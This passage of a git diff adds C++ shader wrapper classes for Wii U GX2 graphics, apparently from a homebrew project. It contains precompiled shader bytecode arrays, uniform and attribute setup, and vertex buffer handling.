GX2_VAR_TYPE_MAT4, 1, viewMatrixLocation, 0xffffffff }); + + positionLocation = 0; + colorLocation = 1; + texCoordLocation = 2; + vertexShader.addAttribVar((GX2AttribVar){ "attr_colors", GX2_VAR_TYPE_VEC4, 0, colorLocation }); + vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_VAR_TYPE_VEC3, 0, positionLocation }); + vertexShader.addAttribVar((GX2AttribVar){ "attr_texture_coord", GX2_VAR_TYPE_VEC2, 0, texCoordLocation }); + + //! setup attribute streams + GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_32_32_32_FLOAT); + GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_32_32_FLOAT); + GX2InitAttribStream(vertexShader.getAttributeBuffer(2), colorLocation, 2, 0, GX2_ATTRIB_FORMAT_8_8_8_8_UNORM); + + //! create fetch shader + fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount()); + + //! initialize default quad texture vertexes as those are very commonly used + //! model vertex has to be align and cannot be in unknown regions for GX2 like 0xBCAE1000 + posVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciPositionVtxsSize); + texCoords = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciTexCoordsVtxsSize); + colorVtxs = (u8*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciColorVtxsSize); + + //! position vertex structure and texture coordinate vertex structure + int i = 0; + posVtxs[i++] = -1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; + posVtxs[i++] = 1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; + posVtxs[i++] = 1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; + posVtxs[i++] = -1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; + GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVtxs, ciPositionVtxsSize); + + i = 0; + texCoords[i++] = 0.0f; texCoords[i++] = 1.0f; + texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; + texCoords[i++] = 1.0f; texCoords[i++] = 0.0f; + texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; + GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, texCoords, ciTexCoordsVtxsSize); + + + for(i = 0; i < (int)ciColorVtxsSize; i++) + colorVtxs[i] = 0xff; + + GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, colorVtxs, ciColorVtxsSize); +} + +ShaderFractalColor::~ShaderFractalColor() +{ + if(posVtxs) + { + free(posVtxs); + posVtxs = NULL; + } + if(texCoords) + { + free(texCoords); + texCoords = NULL; + } + if(colorVtxs) + { + free(colorVtxs); + colorVtxs = NULL; + } + + delete fetchShader; + fetchShader = NULL; +} diff --git a/src/video/shaders/ShaderFractalColor.h b/src/video/shaders/ShaderFractalColor.h new file mode 100644 index 0000000..d3d8355 --- /dev/null +++ b/src/video/shaders/ShaderFractalColor.h @@ -0,0 +1,124 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef SHADER_FRACTAL_COLOR_H_ +#define SHADER_FRACTAL_COLOR_H_ + +#include "VertexShader.h" +#include "PixelShader.h" +#include "FetchShader.h" + +class ShaderFractalColor : public Shader +{ +private: + ShaderFractalColor(); + virtual ~ShaderFractalColor(); + + static ShaderFractalColor * shaderInstance; + + static const unsigned char cuAttributeCount = 3; + static const u32 ciPositionVtxsSize = 4 * cuVertexAttrSize; + static const u32 ciTexCoordsVtxsSize = 4 * cuTexCoordAttrSize; + static const u32 ciColorVtxsSize = 4 * cuColorAttrSize; + + FetchShader *fetchShader; + VertexShader vertexShader; + PixelShader pixelShader; + + f32 *posVtxs; + f32 *texCoords; + u8 *colorVtxs; + + u32 modelMatrixLocation; + u32 viewMatrixLocation; + u32 projectionMatrixLocation; + u32 positionLocation; + u32 colorLocation; + u32 texCoordLocation; + + u32 blurLocation; + u32 colorIntensityLocation; + u32 fadeOutLocation; + u32 fractalLocation; +public: + static ShaderFractalColor *instance() { + if(!shaderInstance) { + shaderInstance = new ShaderFractalColor(); + } + return shaderInstance; + } + static void destroyInstance() { + if(shaderInstance) { + delete shaderInstance; + shaderInstance = NULL; + } + } + + void setShaders(void) const + { + fetchShader->setShader(); + vertexShader.setShader(); + pixelShader.setShader(); + } + + void setAttributeBuffer(const u32 & vtxCount = 0, const f32 * posVtxs_in = NULL, const f32 * texCoords_in = NULL, const u8 * colorVtxs_in = NULL) const + { + if(posVtxs_in && texCoords_in && vtxCount) + { + VertexShader::setAttributeBuffer(0, vtxCount * cuVertexAttrSize, cuVertexAttrSize, posVtxs_in); + VertexShader::setAttributeBuffer(1, vtxCount * cuTexCoordAttrSize, cuTexCoordAttrSize, texCoords_in); + VertexShader::setAttributeBuffer(2, vtxCount * cuColorAttrSize, cuColorAttrSize, colorVtxs_in); + } + else { + //! use default quad vertex and texture coordinates if nothing is passed + VertexShader::setAttributeBuffer(0, ciPositionVtxsSize, cuVertexAttrSize, posVtxs); + VertexShader::setAttributeBuffer(1, ciTexCoordsVtxsSize, cuTexCoordAttrSize, texCoords); + VertexShader::setAttributeBuffer(2, ciColorVtxsSize, cuColorAttrSize, colorVtxs); + } + } + + void setProjectionMtx(const glm::mat4 & mtx) + { + VertexShader::setUniformReg(projectionMatrixLocation, 16, &mtx[0][0]); + } + void setViewMtx(const glm::mat4 & mtx) + { + VertexShader::setUniformReg(viewMatrixLocation, 16, &mtx[0][0]); + } + void setModelViewMtx(const glm::mat4 & mtx) + { + VertexShader::setUniformReg(modelMatrixLocation, 16, &mtx[0][0]); + } + + void setBlurBorder(const float & blurBorderSize) + { + PixelShader::setUniformReg(blurLocation, 4, &blurBorderSize); + } + void setColorIntensity(const glm::vec4 & vec) + { + PixelShader::setUniformReg(colorIntensityLocation, 4, &vec[0]); + } + void setAlphaFadeOut(const glm::vec4 & vec) + { + PixelShader::setUniformReg(fadeOutLocation, 4, &vec[0]); + } + void setFractalColor(const int & fractalColorEnable) + { + PixelShader::setUniformReg(fractalLocation, 4, &fractalColorEnable); + } +}; + +#endif // SHADER_FRACTAL_COLOR_H_ diff --git a/src/video/shaders/Texture2DShader.cpp b/src/video/shaders/Texture2DShader.cpp new file mode 100644 index 0000000..ad7ac52 --- /dev/null +++ b/src/video/shaders/Texture2DShader.cpp @@ -0,0 +1,271 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#include +#include +#include "Texture2DShader.h" + +static const u32 cpVertexShaderProgram[] = +{ + 0x00000000,0x00008009,0x20000000,0x000080a0, + 0x3c200100,0x88060094,0x00400000,0x88042014, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x02290001,0x80000000,0x02041f00,0x900c0020, + 0x00a11f00,0xfc00624f,0xfd041f00,0x900c4060, + 0x02001f80,0x900c0000,0x83f9223e,0x0000803f, + 0xfe081f00,0x00080020,0xfe202081,0x10004040, + 0xfea49f80,0xfd00620f,0xdb0f49c0,0xdb0fc940, + 0xfea01f80,0x9000e06f,0x83f9223e,0x00000000, + 0xfe0c1f80,0x00370000,0xffa01f00,0x80000040, + 0xff101f00,0x800c0060,0x7f0c1f80,0x80370040, + 0x0000103f,0x00000000,0xffa01f00,0x80000000, + 0xff001f00,0x800c0020,0x02c51f01,0x80000040, + 0xfeac9f80,0x80000060,0x0000103f,0x398ee33f, + 0xfea01f00,0x80000000,0x02c19f01,0x9000e02f, + 0x01c41f01,0x9000e04f,0x02c59f80,0x80000060, + 0x398ee33f,0x00000000,0x01c49f01,0x80000020, + 0x02c11f80,0x80000040,0x01e08f00,0xfe04624f, + 0x01c01f81,0x7f08626f,0xfe2c2000,0x10004000, + 0xfe28a080,0x10004020,0xeb825790,0xb6f711be, + 0x7c0e2df2,0x81173cfa +}; + +static const u32 cpVertexShaderRegs[] = { + 0x00000103,0x00000000,0x00000000,0x00000001, + 0xffffff00,0xffffffff,0xffffffff,0xffffffff, + 0xffffffff,0xffffffff,0xffffffff,0xffffffff, + 0xffffffff,0xffffffff,0x00000000,0xfffffffc, + 0x00000002,0x00000000,0x00000001,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x00000000,0x0000000e,0x00000010 +}; + +static const u32 cPixelShaderProgram[] = +{ + 0x20000000,0x00000ca4,0x0b000000,0x00000085, + 0x24000000,0x000050a0,0xb0000000,0x000cc080, + 0x39000000,0x00005ca0,0xb8000000,0x000cc080, + 0x51000000,0x000078a0,0xc0000000,0x000cc080, + 0x70000000,0x000064a0,0xc8000000,0x0008c080, + 0x8a000000,0x00005ca0,0x0e000000,0x01008086, + 0xce000000,0x0000c080,0xa2000000,0x00000ca8, + 0x00800000,0x88062094,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00051f00,0x80060000,0x00011f80,0x80060040, + 0xfec81f80,0xfb802320,0x01041f80,0x8c220000, + 0x00a41f00,0xfc10620f,0x010d1f00,0x900c0021, + 0x00091f00,0x80060040,0x00a01f80,0xfc10626f, + 0x00000040,0x00000000,0xfe080000,0xfe8cc300, + 0xfe088080,0xfe80c320,0x00a11f00,0xfe000200, + 0x00a51f00,0xfe040220,0x00a19f00,0xfe000240, + 0x00a59f00,0xfe040260,0x00a11f81,0xfe002600, + 0x4260e5bc,0xa69bc4bc,0x0ad7a3bc,0x00000000, + 0x00a11f00,0x06004200,0x00a59f00,0x06042220, + 0x00a51f00,0x06044240,0x00a11f01,0x06008260, + 0x00a51f81,0x06048620,0x6f1283bc,0x0ad7a3bc, + 0xa69b44bc,0x00000000,0x00a41f00,0x80000000, + 0x00a01f00,0x80000020,0x00ac1f00,0x80000040, + 0x00a81f00,0x80000060,0x00a19f80,0x06000600, + 0xcac3123c,0x6f1203bc,0x03a41f00,0xfe00620f, + 0x03a01f00,0xfe04622f,0x03ac1f00,0xfe08624f, + 0x03a81f00,0xfe0c626f,0x00a59f80,0x06040620, + 0xcc28913b,0x6f1203bc,0x01a41f00,0xfe00620f, + 0x01a01f00,0xfe04622f,0x01ac1f00,0xfe08624f, + 0x01a81f00,0xfe0c626f,0x00a19f80,0x06002600, + 0xe8eab03c,0x6f1283bb,0x02ac1f00,0xfe084200, + 0x02a81f00,0xfe0c4220,0x02a41f00,0xfe004240, + 0x02a01f00,0xfe044260,0x00a59f80,0x06042620, + 0x92bb353d,0x6f1283bb,0x04a81f00,0x0204620f, + 0x04ac1f00,0x0200662f,0x04a41f00,0x0208624f, + 0x04a01f00,0x020c626f,0x00a19f80,0x06004600, + 0xc4139f3d,0x6f12833b,0x00a41f00,0xfe08620f, + 0x00a01f00,0xfe0c622f,0x00ac1f00,0xfe04624f, + 0x00a81f00,0xfe00626f,0x00a59f80,0x06044620, + 0xb950ed3d,0x6f12833b,0x01a41f00,0xfe00620f, + 0x01a01f00,0xfe04622f,0x01ac1f00,0xfe08624f, + 0x01a81f00,0xfe0c626f,0x00a19f80,0x06002600, + 0xecd7163e,0x6f12033c,0x03a41f00,0xfe000200, + 0x03a01f00,0xfe040220,0x03ac1f00,0xfe082240, + 0x03a81f00,0xfe0c2260,0x00a59f80,0x06042620, + 0x2168233e,0x6f12033c,0x00a11f00,0x06006200, + 0x00a51f00,0x06046220,0x00a19f00,0x06006240, + 0x00a59f00,0x06046260,0x00a11f81,0x0600e600, + 0xa69b443c,0x6f12833c,0x0ad7a33c,0x00000000, + 0x02ac1f00,0x0108620f,0x02a81f00,0x010c622f, + 0x02a41f00,0x0000624f,0x02a01f00,0x0004666f, + 0x00a59f80,0x0604e620,0xecd7163e,0x0ad7a33c, + 0x04a81f00,0xfe04620f,0x04ac1f00,0xfe00622f, + 0x04a41f00,0xfe08624f,0x04a01f00,0xfe0c626f, + 0x00a19f80,0x06008600,0xb950ed3d,0xa69bc43c, + 0x05a41f00,0xfe08620f,0x05a01f00,0xfe0c622f, + 0x05ac1f00,0xfe04624f,0x05a81f00,0xfe00626f, + 0x00a59f80,0x06048620,0xc4139f3d,0xa69bc43c, + 0x03a41f00,0xfe00a200,0x03a01f00,0xfe04a220, + 0x03ac1f00,0xfe086240,0x03a81f00,0xfe0c6260, + 0x00a19f80,0x06006600,0x92bb353d,0x4260e53c, + 0x00a51f80,0x06046220,0x4260e53c,0x00000000, + 0x07ac1f00,0x0308620f,0x07a81f00,0x030c622f, + 0x07a41f00,0x0500624f,0x07a01f80,0x0504626f, + 0xe8eab03c,0x00000000,0x04a81f00,0xfe04620f, + 0x04ac1f00,0xfe00622f,0x04a41f00,0xfe08624f, + 0x04a01f80,0xfe0c626f,0xcac3123c,0x00000000, + 0x06a41f00,0xfe08620f,0x06a01f00,0xfe0c622f, + 0x06ac1f00,0xfe04624f,0x06a81f80,0xfe00626f, + 0xcc28913b,0x00000000,0xfe20a000,0x9000e00f, + 0xfe242000,0x9000e02f,0xfe28a001,0x9000e04f, + 0xfe2c2081,0x9000e06f,0xfe28a081,0x80060020, + 0xfee48f00,0x7f842300,0xfee40f00,0x7f802320, + 0xfee48f01,0x7f8c2340,0xfee40f81,0x08842b60, + 0x00202000,0x90002000,0x0024a000,0x90002020, + 0x00282001,0x90002040,0x002ca081,0x90002060, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x10000000,0x03100df0,0x00008010,0xecdfea0d, + 0x10000000,0x00100df0,0x0000a051,0xecdfea0d, + 0x10000100,0x01100df0,0x00008010,0xecdfea0d, + 0x10000200,0x02100df0,0x00000011,0xecdfea0d, + 0x10000400,0x04100df0,0x0000b070,0xecdfea0d, + 0x10000000,0x00100df0,0x00008010,0xecdfea0d, + 0x10000100,0x01100df0,0x00008010,0xecdfea0d, + 0x10000600,0x03100df0,0x00008010,0xecdfea0d, + 0x10000200,0x02100df0,0x00008010,0xecdfea0d, + 0x10000100,0x04100df0,0x00008010,0xecdfea0d, + 0x10000300,0x05100df0,0x00008010,0xecdfea0d, + 0x10000300,0x03100df0,0x0000a051,0xecdfea0d, + 0x10000700,0x07100df0,0x00008010,0xecdfea0d, + 0x10000400,0x04100df0,0x00008010,0xecdfea0d, + 0x10000300,0x06100df0,0x00008010,0xecdfea0d, + 0x10000000,0x00100df0,0x00008010,0xecdfea0d, + 0xc8581837,0x22740275,0x281eddcc,0xfa8b9b65 +}; +static const u32 cPixelShaderRegs[] = { + 0x00000109,0x00000002,0x14000001,0x00000000, + 0x00000001,0x00000100,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x0000000f,0x00000001,0x00000010, + 0x00000000 +}; + +Texture2DShader * Texture2DShader::shaderInstance = NULL; + +Texture2DShader::Texture2DShader() + : vertexShader(cuAttributeCount) +{ + //! create pixel shader + pixelShader.setProgram(cPixelShaderProgram, sizeof(cPixelShaderProgram), cPixelShaderRegs, sizeof(cPixelShaderRegs)); + + blurLocation = 0; + colorIntensityLocation = 4; + pixelShader.addUniformVar((GX2UniformVar){ "unf_blur_texture_direction", GX2_VAR_TYPE_VEC3, 1, blurLocation, 0xffffffff }); + pixelShader.addUniformVar((GX2UniformVar){ "unf_color_intensity", GX2_VAR_TYPE_VEC4, 1, colorIntensityLocation, 0xffffffff }); + + samplerLocation = 0; + pixelShader.addSamplerVar((GX2SamplerVar){ "sampl_texture", GX2_SAMPLER_TYPE_2D, samplerLocation }); + + //! create vertex shader + vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs)); + + angleLocation = 0; + offsetLocation = 4; + scaleLocation = 8; + vertexShader.addUniformVar((GX2UniformVar){ "unf_angle", GX2_VAR_TYPE_FLOAT, 1, angleLocation, 0xffffffff }); + vertexShader.addUniformVar((GX2UniformVar){ "unf_offset", GX2_VAR_TYPE_VEC3, 1, offsetLocation, 0xffffffff }); + vertexShader.addUniformVar((GX2UniformVar){ "unf_scale", GX2_VAR_TYPE_VEC3, 1, scaleLocation, 0xffffffff }); + + positionLocation = 0; + texCoordLocation = 1; + vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_VAR_TYPE_VEC3, 0, positionLocation }); + vertexShader.addAttribVar((GX2AttribVar){ "attr_texture_coord", GX2_VAR_TYPE_VEC2, 0, texCoordLocation }); + + //! setup attribute streams + GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_32_32_32_FLOAT); + GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_32_32_FLOAT); + + //! create fetch shader + fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount()); + + //! model vertex has to be align and cannot be in unknown regions for GX2 like 0xBCAE1000 + posVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciPositionVtxsSize); + texCoords = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciTexCoordsVtxsSize); + + //! defaults for normal square + //! position vertex structure and texture coordinate vertex structure + int i = 0; + posVtxs[i++] = -1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; + posVtxs[i++] = 1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; + posVtxs[i++] = 1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; + posVtxs[i++] = -1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; + GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVtxs, ciPositionVtxsSize); + + i = 0; + texCoords[i++] = 0.0f; texCoords[i++] = 1.0f; + texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; + texCoords[i++] = 1.0f; texCoords[i++] = 0.0f; + texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; + GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, texCoords, ciTexCoordsVtxsSize); +} + +Texture2DShader::~Texture2DShader() +{ + if(posVtxs) + { + free(posVtxs); + posVtxs = NULL; + } + if(texCoords) + { + free(texCoords); + texCoords = NULL; + } + + delete fetchShader; + fetchShader = NULL; +} diff --git a/src/video/shaders/Texture2DShader.h b/src/video/shaders/Texture2DShader.h new file mode 100644 index 0000000..cddeee0 --- /dev/null +++ b/src/video/shaders/Texture2DShader.h @@ -0,0 +1,112 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef __TEXTURE_2D_SHADER_H_ +#define __TEXTURE_2D_SHADER_H_ + +#include "VertexShader.h" +#include "PixelShader.h" +#include "FetchShader.h" + +class Texture2DShader : public Shader +{ +private: + Texture2DShader(); + virtual ~Texture2DShader(); + + static const u32 cuAttributeCount = 2; + static const u32 ciPositionVtxsSize = 4 * cuVertexAttrSize; + static const u32 ciTexCoordsVtxsSize = 4 * cuTexCoordAttrSize; + + static Texture2DShader *shaderInstance; + + FetchShader *fetchShader; + VertexShader vertexShader; + PixelShader pixelShader; + + f32 *posVtxs; + f32 *texCoords; + + u32 angleLocation; + u32 offsetLocation; + u32 scaleLocation; + u32 colorIntensityLocation; + u32 blurLocation; + u32 samplerLocation; + u32 positionLocation; + u32 texCoordLocation; +public: + static Texture2DShader *instance() { + if(!shaderInstance) { + shaderInstance = new Texture2DShader(); + } + return shaderInstance; + } + static void destroyInstance() { + if(shaderInstance) { + delete shaderInstance; + shaderInstance = NULL; + } + } + + void setShaders(void) const + { + fetchShader->setShader(); + vertexShader.setShader(); + pixelShader.setShader(); + } + + void setAttributeBuffer(const f32 * texCoords_in = NULL, const f32 * posVtxs_in = NULL, const u32 & vtxCount = 0) const + { + if(posVtxs_in && texCoords_in && vtxCount) + { + VertexShader::setAttributeBuffer(0, vtxCount * cuVertexAttrSize, cuVertexAttrSize, posVtxs_in); + VertexShader::setAttributeBuffer(1, vtxCount * cuTexCoordAttrSize, cuTexCoordAttrSize, texCoords_in); + } + else { + VertexShader::setAttributeBuffer(0, ciPositionVtxsSize, cuVertexAttrSize, posVtxs); + VertexShader::setAttributeBuffer(1, ciTexCoordsVtxsSize, cuTexCoordAttrSize, texCoords); + } + } + + void setAngle(const float & val) + { + VertexShader::setUniformReg(angleLocation, 4, &val); + } + void setOffset(const glm::vec3 & vec) + { + VertexShader::setUniformReg(offsetLocation, 4, &vec[0]); + } + void setScale(const glm::vec3 & vec) + { + VertexShader::setUniformReg(scaleLocation, 4, &vec[0]); + } + void setColorIntensity(const glm::vec4 & vec) + { + PixelShader::setUniformReg(colorIntensityLocation, 4, &vec[0]); + } + void setBlurring(const glm::vec3 & vec) + { + PixelShader::setUniformReg(blurLocation, 4, &vec[0]); + } + + void setTextureAndSampler(const GX2Texture *texture, const GX2Sampler *sampler) const { + GX2SetPixelTexture(texture, samplerLocation); + GX2SetPixelSampler(sampler, samplerLocation); + } +}; + +#endif // __TEXTURE_2D_SHADER_H_ diff --git a/src/video/shaders/VertexShader.h b/src/video/shaders/VertexShader.h new file mode 100644 index 0000000..18dc0fe --- /dev/null +++ b/src/video/shaders/VertexShader.h @@ -0,0 +1,178 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef VERTEX_SHADER_H +#define VERTEX_SHADER_H + +#include +#include "Shader.h" + +class VertexShader : public Shader +{ +public: + VertexShader(u32 numAttr) + : attributesCount( numAttr ) + , attributes( new GX2AttribStream[attributesCount] ) + , vertexShader( (GX2VertexShader*) memalign(0x40, sizeof(GX2VertexShader)) ) + { + if(vertexShader) + { + memset(vertexShader, 0, sizeof(GX2VertexShader)); + vertexShader->shader_mode = GX2_SHADER_MODE_UNIFORM_REGISTER; + } + } + + virtual ~VertexShader() { + delete [] attributes; + + if(vertexShader) + { + if(vertexShader->shader_data) + free(vertexShader->shader_data); + + for(u32 i = 0; i < vertexShader->uniform_blocks_count; i++) + free((void*)vertexShader->uniform_block[i].name); + + if(vertexShader->uniform_block) + free((void*)vertexShader->uniform_block); + + for(u32 i = 0; i < vertexShader->uniform_vars_count; i++) + free((void*)vertexShader->uniform_var[i].name); + + if(vertexShader->uniform_var) + free((void*)vertexShader->uniform_var); + + if(vertexShader->initial_value) + free((void*)vertexShader->initial_value); + + for(u32 i = 0; i < vertexShader->sampler_vars_count; i++) + free((void*)vertexShader->sampler_var[i].name); + + if(vertexShader->sampler_var) + free((void*)vertexShader->sampler_var); + + for(u32 i = 0; i < vertexShader->attribute_vars_count; i++) + free((void*)vertexShader->attribute_var[i].name); + + if(vertexShader->attribute_var) + free((void*)vertexShader->attribute_var); + + if(vertexShader->loops_data) + free((void*)vertexShader->loops_data); + + free(vertexShader); + } + } + + void setProgram(const u32 * program, const u32 & programSize, const u32 * regs, const u32 & regsSize) + { + if(!vertexShader) + return; + + //! this must be moved into an area where the graphic engine has access to and must be aligned to 0x100 + vertexShader->shader_size = programSize; + vertexShader->shader_data = memalign(GX2_SHADER_ALIGNMENT, vertexShader->shader_size); + if(vertexShader->shader_data) + { + memcpy(vertexShader->shader_data, program, vertexShader->shader_size); + GX2Invalidate(GX2_INVALIDATE_CPU_SHADER, vertexShader->shader_data, vertexShader->shader_size); + } + + memcpy(vertexShader->regs, regs, regsSize); + } + + void addUniformVar(const GX2UniformVar & var) + { + if(!vertexShader) + return; + + u32 idx = vertexShader->uniform_vars_count; + + GX2UniformVar* newVar = (GX2UniformVar*) malloc((vertexShader->uniform_vars_count + 1) * sizeof(GX2UniformVar)); + if(newVar) + { + if(vertexShader->uniform_vars_count > 0) + { + memcpy(newVar, vertexShader->uniform_var, vertexShader->uniform_vars_count * sizeof(GX2UniformVar)); + free(vertexShader->uniform_var); + } + vertexShader->uniform_var = newVar; + + memcpy(vertexShader->uniform_var + idx, &var, sizeof(GX2UniformVar)); + vertexShader->uniform_var[idx].name = (char*) malloc(strlen(var.name) + 1); + strcpy((char*)vertexShader->uniform_var[idx].name, var.name); + + vertexShader->uniform_vars_count++; + } + } + + void addAttribVar(const GX2AttribVar & var) + { + if(!vertexShader) + return; + + u32 idx = vertexShader->attribute_vars_count; + + GX2AttribVar* newVar = (GX2AttribVar*) malloc((vertexShader->attribute_vars_count + 1) * sizeof(GX2AttribVar)); + if(newVar) + { + if(vertexShader->attribute_vars_count > 0) + { + memcpy(newVar, vertexShader->attribute_var, vertexShader->attribute_vars_count * sizeof(GX2AttribVar)); + free(vertexShader->attribute_var); + } + vertexShader->attribute_var = newVar; + + memcpy(vertexShader->attribute_var + idx, &var, sizeof(GX2AttribVar)); + vertexShader->attribute_var[idx].name = (char*) malloc(strlen(var.name) + 1); + strcpy((char*)vertexShader->attribute_var[idx].name, var.name); + + vertexShader->attribute_vars_count++; + } + } + + static inline void setAttributeBuffer(u32 bufferIdx, u32 bufferSize, u32 stride, const void * buffer) { + GX2SetAttribBuffer(bufferIdx, bufferSize, stride, buffer); + } + + GX2VertexShader *getVertexShader() const { + return vertexShader; + } + + void setShader(void) const { + GX2SetVertexShader(vertexShader); + } + + GX2AttribStream * getAttributeBuffer(u32 idx = 0) const { + if(idx >= attributesCount) { + return NULL; + } + return &attributes[idx]; + } + u32 getAttributesCount() const { + return attributesCount; + } + + static void setUniformReg(u32 location, u32 size, const void * reg) { + GX2SetVertexUniformReg(location, size, reg); + } +protected: + u32 attributesCount; + GX2AttribStream *attributes; + GX2VertexShader *vertexShader; +}; + +#endif // VERTEX_SHADER_H